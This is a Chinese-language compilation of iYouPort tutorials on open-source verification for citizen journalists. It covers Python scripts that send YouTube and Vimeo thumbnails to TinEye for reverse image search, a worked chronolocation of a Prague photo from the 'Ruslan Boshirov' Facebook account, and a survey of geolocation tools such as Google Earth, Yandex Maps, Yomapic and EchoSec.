- 《搜电影、书、开放课程、Twitterlists、GPS、挖Skype、开源情报虚拟机、挖抖音、双语搜索……：新生情报工具（16）》
- 《社交网站上进行新闻收集和监视的基本指南》

14、给调查者/公民记者的隐私安全提示

「图」

关于我们提供的隐私安全提示，详见 列表-1 “技术防身”；以及 列表-5 “护盾” 两个板块。

15、如何进行信息监控，准确定位关键字和找到来源

「图」

在线搜索具有新闻价值的内容时，您必须确切了解要查找的内容，并具有找到所需内容的技能。这个小视频简要介绍了如何准确定位关键字、如何消除社交媒体杂音的技巧。

- 不要错过一个关键的完整技巧说明《社交网站上进行新闻收集和监视的基本指南》

16、使用和共享图像

「图」

图像功能强大，需要谨慎使用。请务必仔细考虑所有图片并提供背景信息，尽量避免使用可能会产生误导性的图片。

17、情绪怀疑论的需要

「图」

在网上，人们倾向于按照自己所在的圈子/部落的身份行事，而情感在其中起着重要作用—— 特别是在分享内容时。

正由此，虚假和误导性的信息像野火一样散布，因为制作虚假信息的人会瞄准圈子/部落特有的情绪敏感点，刺激人们主动分享这些虚假信息。谎言最基本的是在情感上令人信服。

该视频讲述的是如何应对这种局面。

不要错过：

- 《如何创建一个赚大钱的虚假信息业务？》
- 《如何经营一个假新闻帝国？》
- 《假新闻产业触目惊心 互联网人真的如此好骗？》

- 《虚假信息游戏：社交网络纷杂的信息环境下如何击败阴谋论？》
- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》

18、填补数据空白

「图」

该视频介绍了一个主动出击的办法。

我们都知道，信息战发起自热点事件出现的同时，当权者指导的僵尸网络和真人水军旨在用大量虚假的和宣传性误导性信息填补热点事件相关的话题标签和关键字，令人们难以看到真实有效的信息。

于是，建议行动者和记者完全可以以更快的速度及时捕捉大众最常使用的关键字和标签，以高质量的有效信息来充斥信息战的排污行为。

19、如何通过反向图像搜索验证视觉信息

「图」

一幅图片抵得上一千个单词，而对于虚假信息来说，它也抵得上一千个谎言。但是只要单击几下，您就可以在分享这些图像之前对其进行验证。

我们多次演示过相关方法，基本操作见：

- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《搜图功能哪家强？图像验证方法的能力对比》
- 《5个简单方法快速检测造假照片》

20、虚假的医疗建议很危险，如何验证？

「图」

当前，社交媒体上到处都是声称拥有可靠医疗建议的人，他们真的可信吗？

有多种方法可以通过社交媒体资料来检查某人是否是他们所声称的身

份。该视频介绍了一些基本技术以进行数字足迹处理并在线验证信源。

21、如何复制 TwitterLists

「图」

这是一种能够复制他人推特帐户列表的有用方法。

好了，就是这样！希望这些可视的演示能帮助您更好地理解开源情报调查和公民记者的基本功。我们将会把这篇文章收入 列表-3 “让它民主”。〇

原文

信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？#OSINT 技术 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

小工具，挖信息，提高生产力

「图」

如何从 YouTube 视频中获取预览图像并将其用于信息验证？以及找到链接到该视频的其他网站？这种技术称为反向图像搜索 — — 对于开源调查 OSINT 来说是非常强大的，因为它可以为您提供额外的站点，可以查看谁正在使用特定的视频，并且它还可以告诉您是否有人在制作原始视频时撒了谎。

我们现在要做的是使用 YouTube API 和 TinEye API（付费）自动完成此过程。本练习的目的是开发一个脚本，只需输入 YouTube 视频 ID，让脚本检索视频缩略图并将其提交给 TinEye 进行反向图像搜索。这里的目标是加快进行此验证的过程。

YouTube API — 检索预览照片

YouTube API 非常适合搜索视频以及从视频记录中提取大量元数据。我们将利用 API 检索特定视频的缩略图，然后将这些缩略图传递给 TinEye API，以便让它帮助执行反向图像搜索。

首先，请务必在此处获取 YouTube API 密钥。此外，还有一种已知的 URL 格式，可以为您提供额外的视频预览图像。我们将在脚本中构建此 URL 格式，以便获得最佳覆盖率。

TinEye API

TinEye 的人很友好，还创建了一个 Python 库，用于与他们的商业 API 进行通信。您可以从这里获取它，文档在这里。请确保按照他们的说明安装 Python 库。

开始编码

首先，

「图」

这里只是介绍必要的库，初始化 TinEye API 并添加一些命令行参数解析。没有什么太花哨的。现在进入 YouTube API 调用的管道：

「图」

好的，再解释一下：

- 第 20 行： 正在定义 youtube_video_details 函数以获取视频 ID。
- 第 22–24 行： 通过传递视频 ID 和 YouTube API 密钥来构建我们的 YouTube API 请求网址。
- 第 26 行： 将请求发送到 Google 服务器。
- 第 28–32 行： 如果我们得到一个好的响应（28）解析 JSON（30）并返回查询结果（32）。

完美，此功能将用于获取与每个 YouTube 视频相关联的默认缩略图。现在将使用此函数构建一个可以传递给 TinEye 的图像 URL 列表。我们现在添加这样的代码：

「图」

- 第 38 行： 使用之前开发的函数来检索与特定视频相关的所有数据（请注意：您可以浏览 video_data 变量并查看附加到每个视频的所有元数据）。
- 第 40 行： 从结果中提取缩略图列表。
- 第 47–49 行： 在这里循环每个缩略图（47）并将其添加到 URL 的主列表（49）。稍后将使用此主列表。

现在有了一个众所周知但未被记录过的 YouTube 视频技巧，可让您为感兴趣的视频获取额外的预览图像。这只是简单地在 YouTube 服务器上采用已知路径，以及视频 ID 和请求顺序图像列表。添加以下代码来实现此目的：

「图」

非常简单，只需运行从 0 到 3 的循环计数，并使用计数器和我们传入脚本的视频 ID 构建 URL。所以这将生成一个列表，这样：

http://img.youtube.com/vi/zGM47VtGQ-4/0.jpg

http://img.youtube.com/vi/zGM47VtGQ-4/1.jpg

http://img.youtube.com/vi/zGM47VtGQ-4/2.jpg

http://img.youtube.com/vi/zGM47VtGQ-4/3.jpg

现在我们将遍历每个 URL 并将其提交给 TinEye API。敲以下代码：

「图」

- 第 60 行： 初始化一个结果列表，将存储从 TinEye 返回的所有匹配项。
- 第 63–73 行： 遍历我们的 URL 列表（63）然后使用 search_url 函数（68）将 URL 提交给 TinEye API 。如果检测到匹配（72）将每个匹配添加到 results 列表中（73）。

好的，此时应该有一个 TinEye Match 对象列表，其中包含有关搜索结果的信息。现在选择该对象，并提取重要的信息，即该图像的任何匹配网站的 URL 以及 TinEye 抓取它的日期。

「图」

- 第 75–76 行： 初始化 result_urls 列表（75）以存储在 TinEye 索引中找到的任何 URL 和一个 日期 字典，该字典将保存按日期键入的 URL，以便对它们进行排序，并确定包含匹配图像的最早日子的网址。
- 第 78–85 行： 遍历每个匹配（78）然后开始循环遍历 TinEye Match 对象（80）中包含的每个链接。测试一下是否已经捕获了 URL（82）如果没有存储 URL（84）和它已被检索的日期（85）。

很棒，完成了！只需要下面这一点：

「图」

非常简单的东西。只是循环遍历所有发现的网址并将其打印出来。然后通过对日期进行排序并使用最早的 date 作为 dictionary 中的 Key 来查找。

这里有一个关于在叙利亚从地面发射火箭的视频，用它来测试一下。

该视频位于：www.youtube.com/watch?v＝zGM47VtGQ-4

因此，要使用的视频 ID 是：zGM47VtGQ-4

justin$:」 python bellingcatyoutube.py -v zGM47VtGQ-4

[*] Retrieving video ID: zGM47VtGQ-4

[*] Thumbnails retrieved. Now submitting to TinEye.

[*] Searching TinEye for: https://i.ytimg.com/vi/zGM47VtGQ-4/default.jpg

[*] Searching TinEye for: https://i.ytimg.com/vi/zGM47VtGQ-4/hqdefault.jpg

[*] Searching TinEye for: https://i.ytimg.com/vi/zGM47VtGQ-4/mqdefault.jpg

[*] Searching TinEye for: https://i.ytimg.com/vi/zGM47VtGQ-4/maxresdefault.jpg

[*] Searching TinEye for: https://i.ytimg.com/vi/zGM47VtGQ-4/sddefault.jpg

[*] Searching TinEye for: http://img.youtube.com/vi/zGM47VtGQ-4/0.jpg

[*] Searching TinEye for: http://img.youtube.com/vi/zGM47VtGQ-4/1.jpg

[*] Searching TinEye for: http://img.youtube.com/vi/zGM47VtGQ-4/2.jpg

[*] Searching TinEye for: http://img.youtube.com/vi/zGM47VtGQ-4/3.jpg

[*] Discovered 725 unique URLs with image matches.

http://nnm.me/blogs/Y2k_live/chto-mogut-protivopostavit-boeviki-igil-rossiyskim-samoletam/

http://edition.cnn.com/2014/11/12/world/meast/syria-isis-child-

fighter/index.html

http://www.cnn.com/2014/11/12/world/meast/syria-isis-child-fighter/index.html

http://www.aktuel.com.tr/multimedya/galeri/gundem/isid-2-adet-helikopter-dusurdu?albumId=67897&page=8&tc=12

http://www.cnn.com/2014/11/14/world/meast/isis-setbacks-iraq-lister/

http://www.tinmoi.vn/thach-thuc-tag.html

http://www.abc.net.au/news/2015-11-20/two-australians-accused-of-being-part-of-terrorist-kuwait-plot/6957330

http://finance.chinanews.com/stock/2013/10-11/5364352.shtml

....

[*] Oldest match was crawled on 2014–10–10 00:00:00 at http://finance.chinanews.com/stock/2013/11-15/5508881.shtml

很棒啊，所以现在你可能有很多网站可以去调查。如果要验证正在观看的镜头是新的还是旧的，被抓取的最早日期是非常重要的。过程可能由于 TinEye index 的不同而不同。

自动反向图像搜索第 2 部分：Vimeo

Vimeo Simple API

Vimeo 确实有一个全功能的 API，可以用它来做各种奇特的东西，如搜索视频、用户等。这称为高级 API。但是 Vimeo 还有一个方便的功能，它们会自动为他们发布的每个视频提供 JSON 输出，他们称之为 Simple API。例如，这个排球视频：

https://vimeo.com/71215064

我们可以看到该视频的视频 ID 是：71215064

要检索此视频的所有 JSON，我们可以使用以下 URL 方案：

http://vimeo.com/api/v2/video/{VIDEOID}.json

所以在排球示例中，看起来像这样：

http://vimeo.com/api/v2/video/71215064.json

使用 Simple API 的主要缺点是它仅对公共视频有用。如果您需要脚本查询私有视频或对 **Vimeo** 进行更高级的查询，则需要获取 **API** 密钥并查看"开发人员文档"。

检查 **JSON**

那么这个 JSON 文档实际上包含什么？如果您只是浏览到该 URL，浏览器将下载一个 JSON 文件，您可以使用喜欢的文本编辑器或我最喜欢的 Python IDE，Wing 打开它。我们来看看JSON：

u’duration’: 303,

u’embed_privacy’: u’anywhere’,

u’height’: 480,

u’id’: 71215064,

u’mobile_url’: u’https://vimeo.com/71215064’,

u’stats_number_of_comments’: 3,

u’stats_number_of_likes’: 59,

u’stats_number_of_plays’: 49593,

u’tags’: u’volleyball, olympics, olympic games, london 2012, highlights, slow motion, brazil, russia, poland, italy’,

u’thumbnail_large’: u’https://i.vimeocdn.com/video/444712440_640.webp’,

u’thumbnail_medium’: u’https://i.vimeocdn.com/video/444712440_200x150.webp’,

u’thumbnail_small’: u’https://i.vimeocdn.com/video/444712440_100x75.webp’,

u’title’: u’Olympic Games 2012 Volleyball in slow motion’,

u’upload_date’: u’2013–07–28 17:34:09′,

u’url’: u’https://vimeo.com/71215064′,

u’user_id’: 2460313,

u’user_name’: u’Yngve Sundfjord’,

u’user_portrait_huge’: u’https://i.vimeocdn.com/portrait/362408_300x300.webp’,

u’user_portrait_large’: u’https://i.vimeocdn.com/portrait/362408_100x100.webp’,

u’user_portrait_medium’: u’https://i.vimeocdn.com/portrait/362408_75x75.webp’,

u’user_portrait_small’: u’https://i.vimeocdn.com/portrait/362408_30x30.webp’,

u’user_url’: u’https://vimeo.com/sundfjord’,

u’width’: 640}]

很棒吧，在这里存储了大量有用的信息。特别是如果你对 thumbnail_large 密钥感兴趣，因为这将为你提供可用于提交给 TinEye API 的图像，以查看是否有其他结果或包含目标图像的其他网站。同样，你会注意到 upload_date ，可以使用它来验证此视频是否在反向图像搜索中找到的其他结果之前出现过。

开始编码。打开一个新脚本并将其命名为 vimeoreversesearch.py 并打入以下代码：

「图」

没有什么太花哨的。只是设置 TinEye API，为脚本添加一些参数解析，并从传入的命令行参数中提取 video_id 变量。现在实现我们的 Vimeo JSON 检索功能：

「图」

- 第 17 行： 定义了 get_vimeo_video 函数，该函数接收一个 video_id 参数，该参数表示我们之前介绍过的 Vimeo 视频 ID。
- 第 19–21 行： 正在构建 URL 以检索视频 JSON（19），然后关闭 HTTP 请求（21）。
- 第 23–29 行： 如果我们的请求成功（23）那么将解析的 JSON 存储在 video_info 变量中（25）。输出视频上传的日期（27）然后返回视频的大预览图像的位置（29）。

好的，到目前为止开发的代码将负责从 Vimeo 服务器中获取和解析 JSON，并为我们提供一个图像位置，可以用它来使用 TinEye API 进行反向搜索。现在通过实现一个处理它的函数将该图像传送给 TinEye。其中一些代码可以从之前的帖子中重复过来，因此看起来很熟悉。将以下代码添加到脚本中：

「图」

- 第 39 行： 创建 search_tineye 函数，该函数接收 image_url 参数，该参数是 Vimeo 预览图像的位置。
- 第 41–45 行： 将请求发送到 TinEye API（42），如果我们的调用有任何问题（通常是因为您错误地复制/粘贴了 API 密钥），那么输出一条错误消息（44）并返回（ 45）。
- 第 50–57 行： 浏览 TinEye 结果列表（50），每个结果可以包含已跑过的 links（52）。开始向 result_urls 添加新链接（56）并将链接日期添加到日期列表中，以便稍后可以找到最早出现的帖子。

现在实现将向我们展示 API 请求结果的部分。添加以下代码：

「图」

- 第 59 行： 在这里测试 result_urls 列表中是否有项目表明我们的 TinEye 请求有点击。
- 第 60–65 行： 打印出命中数（61）然后遍历结果列表（63）并打印出找到图像的URL（65）。
- 第 68–71 行： 对日期列表（68）进行排序，这将按时间顺序排列，这样我们就可以打印出最早的日期了（71）。

好了大部分脚本已经完成，所以现在需要做的就是调用我们设置的函数：

「图」

当您使用上面的 ID 运行脚本时，它将如下所示：

1. python vimeo_reverse_search.py -v 71215064

    [*] Video uploaded: 2013–07–28 17:34:09

    [*] Discovered 2 unique URLs with image matches.

    http://wn.com/Olympic_Games

    http://www.volleyball-movies.net/category/84

    [*] Oldest match was crawled on 2014–02–07 00:00:00 at http://wn.com/Olympic_Games

很酷，所以可以看到视频已于 2013 年7月28日上传，我们发现最早检测到的图像是从 2014年2月7日开始的。这可能表明 Vimeo 上的视频在被检测之前已经在其他网站上线了。如果发布者声称这是一条新闻，那么他很可能在做假。

当记者不专业的时候你也可以指出他们的错误，有理有据。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "https://paypal.me/iyouport"

原文

信息验证技巧：如何确定照片的拍摄时间？ - iYouPort

开源情报-每个人都可用的武器

判断真伪可以没有很高的技术含量，更多需要的人是人们的批判性思考意识和一些经验

「图」

「图」

先说句题外话。自去年以来很多人正在为深度造假（deepfake）技术的飞跃而发愁，看起来这种技术有可能明显影响到开源情报事业。（在这里看到关于深度造假的分析报告《当恶意者掌握技术：信息战的未来究竟有多可怕？》）

也许在较小一部分程度上的确如此，但在很多情况下，至少目前为止不会影响开源情报调查。这是因为造假内容不会存在于一个完美连贯的逻辑链条上 —— 造假者可以修改逻辑链上的某些节点，但无法修改全部，并且，更有可能的是，造假者不能完全了解调查人员会采取什么样的取证思路。

正如我们曾经论述过的，深度造假真的不是什么新鲜事，人类历史上充满了欺骗性的做法，由于照片编辑技术，过去几十年来对摄影的信任已经受到明显侵蚀。但是，真相并没有被消灭 —— 因为社会已经重新适应了这一局面。

照片造假并非造成了真相的死亡，而是对新技术的认识鼓励人们采取新的指标，以做出关于所呈现的图像是否真实的明智决定。

deepfake 技术只是提出了一个新的挑战，甚至有希望促进更多真相捍卫者的诞生。只要您想要真相，并不难获得。

本网“OSINT”部分提供了相当多的演示和练习方法，希望它们对您有用。

本文是关于时间定位的演示。

「图」

「图」

照片的拍摄时间是非常重要的真伪判断元素，当消息是突发新闻时，它还很可能具有强大的政治意义。

检验照片拍摄时间对于开源情报来说一直是一个挑战；我们曾经演示过一些做法，比如《让阴影说话：开源调查小游戏》等等。本文是另一个演示。

工具并不复杂，希望您能从这些演示中学到真伪检验的思考方式，这是公民记者的基本功之一。

2014年10月11日，一个名为 “Ruslan Boshirov” 的人在 Facebook 张贴了布拉格的一张照片，显示了交通繁忙的旧城广场和天文钟。

该账户就是毒杀前俄罗斯间谍 Skripal 的嫌疑人 —— 俄罗斯军事情报局 GRU 的一名装饰精良的上校 Anatoliy Chepiga 的社交媒体身份。

这张照片的上传日期恰逢捷克出版物 Radiožurnal 的报道，“Boshirov”（Chepiga）于2014年10月11日访问了布拉格。

每日邮报报道，Boshirov / Chepiga 创建了这个 Facebook 简介，并在布拉格咖啡馆与一位乌克兰女性见面后，将她作为“朋友”添加到了 Facebook。

这位女士接受了“每日邮报”的采访，表示她记得“在2013年或2014年”与 Boshirov / Chepiga 会面，并且他创建了这个专门与她联系的 Facebook 页面。

她是他唯一的 Facebook “朋友”。

但是，这个 Facebook 档案真的属于 Chepiga / Boshirov 吗？还无法确定；每日邮报和捷克出版物的报道都没有做到检验这点。但公民记者可以提供对拍摄照片时间的验证报告以做出判断。

「图」

「图」

下面来演示这个操作。

寻找时间细节

将这张照片地理定位到布拉格市中心，这对于任何熟悉这个城市的人都不费吹灰之力（因为有地标），但确定具体时间则是一个更有趣的挑战。

提出的问题是：该照片是否真的拍摄于2014年10月11日左右，该照片的上传日期与 Chepiga 访问布拉格的未经证实的报道是否相符？

基于可观察到的细节，可以以不同的精度确定照片或视频的拍摄时间。

照片中呈现的天气和季节性细节提供了一个认识 —— 可以假设这张照片是在一个寒冷的雨天拍摄的，基于场景中可见的外衣和雨伞 —— 但这还远不够精确。

由于这个场景是整个欧洲被拍摄最多的著名景点之一，因此有大量的在线参考资料可以比较。

但是，⚠如果没有特定的时间细节，所有这些参考资料都是无用的。

通过最简单的搜索就可以知道，这个天文钟经常进行翻新，但在拍摄这张照片的时候显然没有正在进行的翻新工作（该时钟在2005、2017年和2018年进行了明显的翻新，但不是2014年 —— 这些资料可以很容易在网上查到，即便您不了解布拉格）。

- ○ 提示：以下内容请注意其中对数字、日期添加超链接的位置，点开这些位置您将能看到地图中的搜索演示。

将2014年6月的 Google 街景图像中的场景与这张 Facebook 照片进行比较时，很难辨别出任何差异。

「图」

「图」

但是，在 Google 上查看2014年11月拍摄的该地区的照片时，有一个关键细节可以帮助明显缩小时间范围。

仔细看 Facebook 上这张照片，在远处，教堂下面可以看到一个黄色

的建筑，那里写着三个词，两旁是黑色方块。

「图」

「图」

2014年11月在谷歌上找到的照片显示，同一栋建筑 —— 显然是餐厅 “Cafe u Tyna” 旁边的艺术画廊 —— 在这三个单词两旁没有相同的黑色方块，现在可以看清那几个字是 MUCHA WARHOL DALI。

虽然这张照片的实际日期可能不是2014年11月，但这个细节可以为调查者提供一个机会窗口。

「图」

「图」

收集参考资料

这个微小的细节为调查提供了一个窗口，可以确定拍摄 Facebook 照片的潜在可能日期。

通过在 Google、Foursquare、TripAdvisor、YouTube 和其他平台上结合使用定位搜索，可以收集尽可能多的关于该地区的照片和视频，以确定黑色方块和那行字是何时出现在老城广场上的。

⚠然而，必需记得，照片的上传时间并不总是及时的，包括上述找到的2014年11月上传的建筑物照片。

💡因此，重要的是从同一时间范围内找到显示相同细节的多个图像，以便自信地评估何时发生了细节变化。

下面将可以帮助列出按此时间顺序查看此建筑的服务和平台。

通过指定网站的结果日期，还可以考虑在其他平台（例如 YouTube）上进行有针对性的 Google 搜索：

搜索平台—例如，搜索布拉格老城区网站：youtube.com，其中包含2014年秋季的记录，以便仅在相关日期上传的 YouTube 上查找到包含这些关键字的视频。

提示：您可以使用电子表格跟踪您使用下述方法找到的所有时间和地

理定位的视觉证据。

1、Google：导航至 Google 地图，然后将那个小黄人（用于街景视图）保留在您感兴趣的区域。

对于旧城广场，会出现数十个小圆圈和其他图标—这些都是用户生成的区域照片，这些图像中的每一个（其中许多是360度全景图）都提供上传的月份和年份。

「图」

「图」

2、Yandex：与谷歌一样，俄罗斯服务 Yandex 提供来自特定区域的用户生成的照片。

在 Yandex 地图中，打开全景图下的“照片”选项（位于屏幕右上角），打开一张为该位置标注了地理标记的照片。

「图」

「图」

3、VK：通过在俄罗斯社交网络 VKontakte（VK）进行基于地理位置的搜索，可以找到所有用户生成的照片，其中包含本案例正在搜索的地方的地理标记。

登录VK帐户后，您可以使用句式 “near：[coordinates]” 运行此搜索。您只能从搜索参数中选择“照片”附件以进一步过滤结果。

「图」

「图」

4、Foursquare，TripAdvisor，Yelp ...：请不要低估旅游网站和大众点评网站的照片数量和质量，但通常很难搜索结果。

不过 Tripadvisor 允许按时间顺序查看网站上传的照片，但 Foursquare 强制您手动滚动所有结果，以便从正确的时间范围内查找快照。

「图」

「图」

5、Echosec：是这个列表中唯一的付费服务，但功能非常强大。

Echosec 将许多上述服务（包括 Foursquare 和 VK）的结果汇总到一张地图上，并且还允许基于日期过滤。

在 Echosec 上可视化搜索我们对 Facebook 照片感兴趣的时间区域。

结果

通过搜索本文描述的所有服务和平台，您就可以确定该建筑物呈现照片中的外观的大致时间范围。

2014年6月4日和14日，VK 上的照片展示了没有黑色方块的该建筑，以及 Alonfse Mucha 和 Salvadore Dali 的名字 —— 而不是 Facebook 照片中的“Mucha，Warhol，Dali”。

「图」

「图」

「图」

「图」

2014年6月17日和19日，VK 上的照片展示了黑色方块和建筑物上的 Mucha，Warhol，Dali —— 与 Facebook 照片中的相同。

同样的设计也可以在“2014年6月”（未指定日期）的 Google 街景图像中看到。

「图」

「图」

「图」

「图」

「图」

「图」

Facebook 照片中显示了那三个单词两旁的黑色方块，这是一个最终确认时间的重要线索。

更进一步，可以确定，在 Facebook 照片发布之时和之后，这种建筑设计仍然很明显，尽管这些名字偶尔会改变以匹配当前的展品。

这个博物馆（布拉格艺术馆 GOAP）定期举办各种展览，包括达利、Mucha 和 沃霍尔 等著名艺术家（因为该博物馆位于交通繁忙的旅游地点中心），但偶尔还包括其他艺术家，如 Jan 和 Kaja Saudek，在2016年（见此处）。

然而，更该艺术家的名字以及在艺术家名字的两侧加上“GOAP”的黑色方块，似乎是自2014年6月以来大部分时候的永久性添加标记。

这意味着上述“11月”的照片可能是在2014年11月至12月之间的一小段时间内拍摄的，当时两个黑色方块在被放回之前显然暂时被取下了。

同时，没有找到任何显示自2015年以来该建筑物的照片上没有那两个黑色方块；然而，自2014年6月以来，被展览的艺术家的名字（没有 Alphonse 和 Salvador）的姓氏格式一直存在，偶尔也会对这些姓氏进行更改。

考虑到上述所有这一切，可以自信地说，Facebook 用户 Ruslan Boshirov（可能是也可能不是毒杀 Skripal 的嫌疑人Chepiga / Boshirov）上传的照片确实是在2014年下半年拍摄的。

如果没有更具体的时间细节，确定照片的确切日期是困难的，但考虑到照片中游客的外衣，更有可能是在“2014年10月11日”这个上传日期附近的一个月左右拍摄的。

此外，上传照片的当天布拉格的天气是在上午晚些时候有一阵细雨（根据光影角度判断），大约15摄氏度。

显然，你可以通过查看历史天气数据以获得更准确的时间定位。顺便回顾另一个演示《公民记者如何验证民间爆料视频的真实性？》

很简单吧。并不需要很多技术知识 —— 最重要的是思考方式，一切为了目标的思考方式。

同时提醒不要忽视任何可能的数据来源，在本演示中甚至包括旅行网站和点评网站。

时刻记得：开源情报就是尽量搜集一切有可能支持调查的数据源。

希望这篇演示能给您以信心：任何人，只要具备追求真相的意识和科学的逻辑，成为优秀的调查员并不很难。好运！〇 广告

原文

全球搜罗：用于信息验证的基本地理定位工具 #OSINT 开源调查技术继续 - iYouPort

开源情报-每个人都可用的武器

> 真相不能一直被权力把控着。事实上民间独立组织和个人完全可以使用基本技术和智慧构建自己的“情报系统”。在没有国界的地球村中，发挥你更大的潜力。欢迎关注我们的开源调查系列文章，希望它们能成为您的得力助手

「图」

有很多工具可以用来验证信息，以及协助开源调查，我们陆续展示过一些，包括预先存在的工具，例如 Google Earth 和过去几年来陆续被开发出的新工具。在本文中，我们将继续研究其中的一些工具，以及它们在验证和调查过程中的不同用途。然后再玩一个小游戏。

Googling Earth

我们一直在建议普通人远离谷歌，因为它真的很可怕。但对于开源调查 #OSINT 工作来说，它惊人的数据量能提供非常强大的帮助。

对于许多调查来说，Google Earth 都是验证图像和视频的关键工具，在地理定位过程中发挥着极其重要的作用。

地理位置是一种值得强调的信息验证方法，可以将照片或视频中可见的地标和特征与其他图像（通常是卫星图像）进行比较，以确认记录图像的真实地理位置。从最基本的角度来看，GoogleEarth 允许从全球访问卫星图像，这是地理定位的关键资源。它还具有许多其他有用的功能，这些功能也可以在验证中发挥作用。

经常被忽视的一个特征是就是历史图像，可以在“视图”菜单下轻松找到。

通过启用此功能，用户将看到一个滑块，允许他们将显示的图像更改

为 GoogleEarth 上可用的任何历史图像。出于多种原因，这将非常高效; 例如，卫星在记录图像时的位置可能会为您提供建筑物某一侧的一个视图，而在不同时间拍摄的其他图像可能会为您提供完全不同角度的建筑视图，这在您尝试使照片或视频中的建筑物的特征与卫星图像相匹配的过程中非常有用。

以下示例显示了两个不同日期的相同位置，提供了建筑物两个不同侧面的视图。

「图」

「图」

另一个有用的功能是“照片”layer ，它显示照片的多个来源，但最重要的是 "Panoramio"。Panoramio 是一个用户可以上传带有地理标记的照片的网站，这些照片在 GoogleEarth 上均可见，为您可能有兴趣详细查看地点的地面图像提供了有用的来源。

街景

除此之外，地面图像的另一个来源是 GoogleMaps、GoogleEarth 以及俄罗斯网站 Yandex Maps 上提供的街景图像。虽然很多人都熟悉谷歌街景，而 **Yandex** 地图并不为人所熟知，但它拥有自己的街景图像集，其中大部分属于谷歌街景尚未提供的位置。**！**

这些图像对于地理定位来说非常有用，但考虑记录的日期对街景图像来说也很重要。例如，验证记录 MH17 相关视频的位置，Yandex 地图图像显示有问题的位置没有在地理定位的视频中可见的广告牌。然而，谷歌地球卫星图像显示该广告牌是该地区的新建标记，并且在广告牌建成之前 Yandex 地图图像就把这个位置记录下来了。

「图」

通过将来自 Yandex 地图的其他图像与该区域的其他信息（例如，最近建造的教堂）进行比较，可以验证 Yandex 地图图像的日期。这表明了地理定位和验证的另一个被忽视的方面：即 不仅需要验证您正在调查的图像，而且验证参考图像也很有价值。像地标这样的东西可能是不准确的或可被改变的，因此这是在强大的验证过程中所需的重点。

全球地标

两年前开发的一个新平台使得地理标记作为验证过程的一部分更加有用了。Yomapic 是一个免费的网站，允许地理搜索流行的俄罗斯社交媒体网站 VKontakte 和 Instagram 的地理标记图像。在下面的例子中，Yomapic 显示出了从被伊斯兰国控制的 Raqqa 镇发出的图像：

「图」

Yomapic 的一个有趣功能是可以通过点击用户名来选择个人帐户，显示帐户上的所有图像，看是否有进行地理标记。下图显示了 Instagram 上的用户，他们从塞舌尔到肯尼亚、然后到土耳其、最后到叙利亚的 Raqqa。

「图」

Yomapic 的替代品是 EchoSec，其搜索中包括更多社交媒体网站，比如 Twitter，Facebook，YouTube，Panoramio 和 Flickr。它还具有日期范围搜索，允许搜索特定日期范围，这在调查过去事件时非常有用。

虽然 Yomapic 和 EchoSec 的明显用途是寻找与某个区域中特定事件相关的帖子，但它在其他方面也很有用。

当地理定位图像时，可能无法找到街景图像或 Panoramio 照片，但是感谢 Yomapic 和 EchoSec，可以看到本地区域是否有人发布了 Instagram 照片或 YouTube 视频显示了您感兴趣的这个位置，这增加了搜索参考图像作为任何地理位置的一部分时所具有的选项范围，并且通过组合这些工具，它可以更有效地验证内容。

— — 加快速度！让它自动化起来 — —

在对照片进行地理定位时，部分工作涉及查看可能位于感兴趣区域内的照片通过各种网站（Flickr，Panoramio，Wikimapia 等）。为了提升效率你完全可以自动化这个过程：创建一个带有照片拼贴的 HTML 页面，以便您可以滚动浏览，如果看到匹配的图像，当您点击它时，它将把您带到 Google地图上的该位置。很简单的步骤，会比在地图上点击或不得不在网站上不断提交手动搜索那些笨方法，更快地浏览照片。

我们将使用的第一个照片共享网站是 Panoramio。它允许人们上传这些照片时标签位置。Panoramio 专注于地方而不是人，因此它是协助地理定位照片工作的好选择。

安装 Python 和 Pip

Python 2.7.9 及更高版本包括 Pip，这是一个简单的 Python 包管理系统，允许我们快速轻松地向 Python 添加 API。启动和运行 Python 的最快方法是……找找教程啦，网上有很多的。

您可以使用任何文本编辑器（如 Notepad（Windows）或 TextEdit（Mac））编写 Python 脚本，但我建议您安装 WingIDE（免费版）的副本，您可以在此处观看快速教程。

Panoramio API

现在我假设您已经安装了所有东西，我们将利用一个名为 Pynoramio 的 Python 库，它专门用于使用 Python 与 Panoramio API 进行交互。第一步是安装它，如果你忘了怎么做，请参阅上一节有关安装和使用 pip 的内容。

「图」

现在我们可以开始研究如何实际使用 API。Panoramio API 需要一个边界框才能搜索照片。

边界框

可以将边界框视为覆盖地理区域的虚构矩形。许多 API 使用边界框来返回地理标记结果。在很多情况下，一个边界框是通过测量目标的西南角和东北角的经纬度得来。在其他情况下，它们称之为最小/最大纬度和经度，这与最小值是西南角最大值是东北角是一回事。

这里有一个工具可以帮助解决这个问题。

简单地使用该工具，示例：

- 在位置框中输入不带引号的“Raqqah Syria”。
- 单击“跳转到位置”按钮。
- 调整地图上的缩放级，以便可以看到所有 Raqqah。
- 单击地图顶部的小矩形绘图按钮。
- 在所有 Raqqah 周围画一个矩形，调整大小并按照你认为合适的方式移动它。

「图」

如果向下滚动页面，您将看到各种边界框坐标，然后我们可以将其复制粘贴到 Python 脚本中。

编码 **Panoramio** 搜索

在你选择的任何编辑器中打开一个新的 Python 脚本，然后输入以下代码：

「图」

值得注意的是，以 # 开头的任何行都意味着它是一个代码注释，以帮助理解代码的作用，您可以选择将它们写出来：

- 第1–3 行：这些是 Python 导入。import 关键字告诉 Python 我们想从这些库中提取代码。您可以看到我们正在使用 pip 来安装 pynoramio 库。
- 第 6 行：这里只是命名正在执行的搜索。
- 第 9 行和第 10 行：这里使用边界框工具粘贴值。将您自己的值粘贴到此处。
- 第 13 和 14 行：这里将逗号分隔值拆分成两个单独的数字。这只是为了节省时间，因此我们不用从边界框工具中复制和粘贴一大堆值。

好了，将文件保存为 auto_image_search.py 并添加更多代码。

「图」

解释一下：

- 第 20 行：DEF 关键字意味着正在创建 Python 中的功能。此特定功能将用于执行 Panoramio 搜索，并且只需一个参数。这个名为 fd 的参数是所谓的文件描述符，因此我们可以将搜索结果写入 HTML 文件。想象一下文件描述符，就像你必须在桌面上拿一张实物纸一样，用笔在上面书写。
- 第 22 行：这是初始化 Pynoramio API 的地方，以便可以使用它。
